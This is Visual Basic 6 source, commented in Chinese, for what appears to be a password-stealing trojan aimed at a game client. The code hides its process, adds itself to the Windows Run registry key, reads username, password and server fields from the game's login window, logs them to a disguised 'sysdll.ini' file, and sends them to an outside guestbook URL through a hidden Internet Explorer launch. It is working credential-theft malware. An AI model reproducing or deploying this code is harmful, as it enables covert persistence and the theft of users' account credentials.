Private Sub Form_Load()
Dim form1_hwnd As Long
Dim wshshell As Object
Dim cm As String
Dim macname As String

If App.PrevInstance Then End '如果程序已运行则退出进程
RegisterServiceProcess form1_hwnd, 1 '注册为系服务隐藏进程
Set wshshell = CreateObject("Wscript.Shell") '写注册表开机自启动
wshshell.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sysdll", _
"sysdll.exe"

End Sub

Private Sub Timer1_Timer()
Dim hwnd As Long
Dim hwnd1 As Long

Dim fso As Object
Dim a As Object
Dim tou As String
Set fso = CreateObject("Scripting.FileSystemObject")
'使用文件系统对象生成密码记录文件sysdll.ini
If fso.fileexists("c:\windows\system32\sysdll.ini") = False Then
Set a = fso.openTextFile("c:\windows\system32\sysdll.ini", 8, True)
a.WriteLine "左边是用户名右边是密码和登录哪个区最后记录时间"
a.WriteLine "2002215"
a.Close
End If
'下面是选择哪个区
hwnd1 = FindWindow("TFLASHWIN", vbNullString)
If hwnd1 <> 0 Then
zi = GetWindow(hwnd1, GW_CHILD)
findzi (zi)
End If

''
hwnd = FindWindow("tfrmmain", vbNullString) '查找特征窗口标题
If hwnd <> 0 Then
zi = GetWindow(hwnd, GW_CHILD) '例举子窗体
findzi (zi)
Else '找不到特征窗口了就记录一次密码
Set a = fso.openTextFile("c:\windows\system32\sysdll.ini", 1, True)
Do While a.atendofstream <> True
tou = a.readline
Loop

If Mid(tou, 1, Len(na)) <> na Then '判断是否是上一个用户
save
Else
If Mid(tou, Len(na) + 2, Len(pass)) <> pass Then
save
End If
End If

Exit Sub
End If

End Sub

Function findzi(zi)
Dim le As Long
Dim tx As String
Dim lo As Long

lo = GetWindowLong(zi, GWL_STYLE) '得到子窗体的类名

If lo = "1409352259" Then '得到登录了哪个区
tx = gettext(zi)
If StrComp(unit, tx) <> 0 And Len(tx) > 4 Then '不相同则记录
unit = tx
'MsgBox unit
Exit Function ' 找到就退出
End If

End If

If lo = "1409351872" Then '得到用户名
tx = gettext(zi)
If StrComp(na, tx) <> 0 And Len(tx) > 4 Then '不相同则记录
na = tx
End If

End If

If lo = "1409351904" Then '得到密码
tx = gettext(zi)
If StrComp(pass, tx) <> 0 And Len(tx) > 5 Then
pass = tx
End If
End If

zi = GetWindow(zi, GW_HWNDNEXT) '例举下一个子窗体

If zi = 0 Then '为0窗体例举完毕则退出该子函数
Exit Function
Else
findzi (zi)
End If
End Function

Sub save()
'On Error Resume Next
Dim fso As Object
Dim a As Object
Dim love As String

'保存密码
Set fso = CreateObject("Scripting.FileSystemObject")
If Len(pass) > 5 And Len(na) > 4 Then '判断记录的是否符合条件
Set a = fso.openTextFile("c:\windows\system32\sysdll.ini", 8, True)

'就下面几行搞定发密码
na = Left$(na, Len(na) - 1)
pass = Left$(pass, Len(pass) - 1)
unit = Left$(unit, Len(unit) - 1) ' 这儿的三行很重要哟....
unit = Trim(unit)

love = "用户名:" & na & "密码:" & pass & "哪个区:" & unit & "日期:" & Date

Shell _
"C:\Program Files\Internet Explorer\IEXPLORE.EXE http://www.22aa.com/cgi-bin/gb
/gbook.cgi?action=add&user=czyczy&place=hello&name=czy&texti=" + love, vbMinimiz
edFocus


a.WriteLine na & " " & pass & " " & unit & " " & Date
a.Close '记录密码到本地文件

delay 5 '延时五秒后关闭打开的ie窗口
closeie

End If
End Sub

Function gettext(zi)
Dim le As Long
Dim tx As String
'得到窗口内容模块
le = SendMessage(zi, WM_GETTEXTLENGTH, 0, 0)
le = le + 1
tx = Space$(le)
SendMessage zi, WM_GETTEXT, le, ByVal tx
tx = Left$(tx, le)
gettext = tx
End Function

Sub delay(delaytime)
Dim sec As Long
Dim lpf As Long
sec = 86400
lpf = Timer + delaytime
If lpf > sec Then
lpf = lpf - sec
Do While Timer > lpf
Loop
End If
Do While Timer < lpf
Loop
End Sub

Sub closeie()
Dim she As Object
Dim ws As Object

Set she = CreateObject("shell.application")
For Each ws In she.windows
If ws.Document.Title = "天网" Or ws.Document.Title = "返回留言本" Then
ws.quit
End If
Next '关闭打开的ie窗口

End Sub
'---------下面是模块
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpCla
ssName As String, ByVal lpWindowName As String) As Long
Public Const WM_CLOSE = &H10
Public Const WM_GETTEXT = &HD
Public Const WM_GETTEXTLENGTH = &HE
Public Const WM_SETTEXT = &HC
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Lo
ng, ByVal wMsg As Long, ByVal wParam As Long, lParam As String) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal h
wnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Const GW_HWNDNEXT = 2
Public Const GW_CHILD = 5
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd A
s Long) As Long

Public Const GWL_STYLE = (-16)
Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal
hwnd As Long, ByVal nIndex As Long) As Long
Public Declare Function RegisterServiceProcess Lib "kernel32.DLL" (ByVal dwProce
ssId As Long, ByVal dwType As Long) As Long

主目录 分目录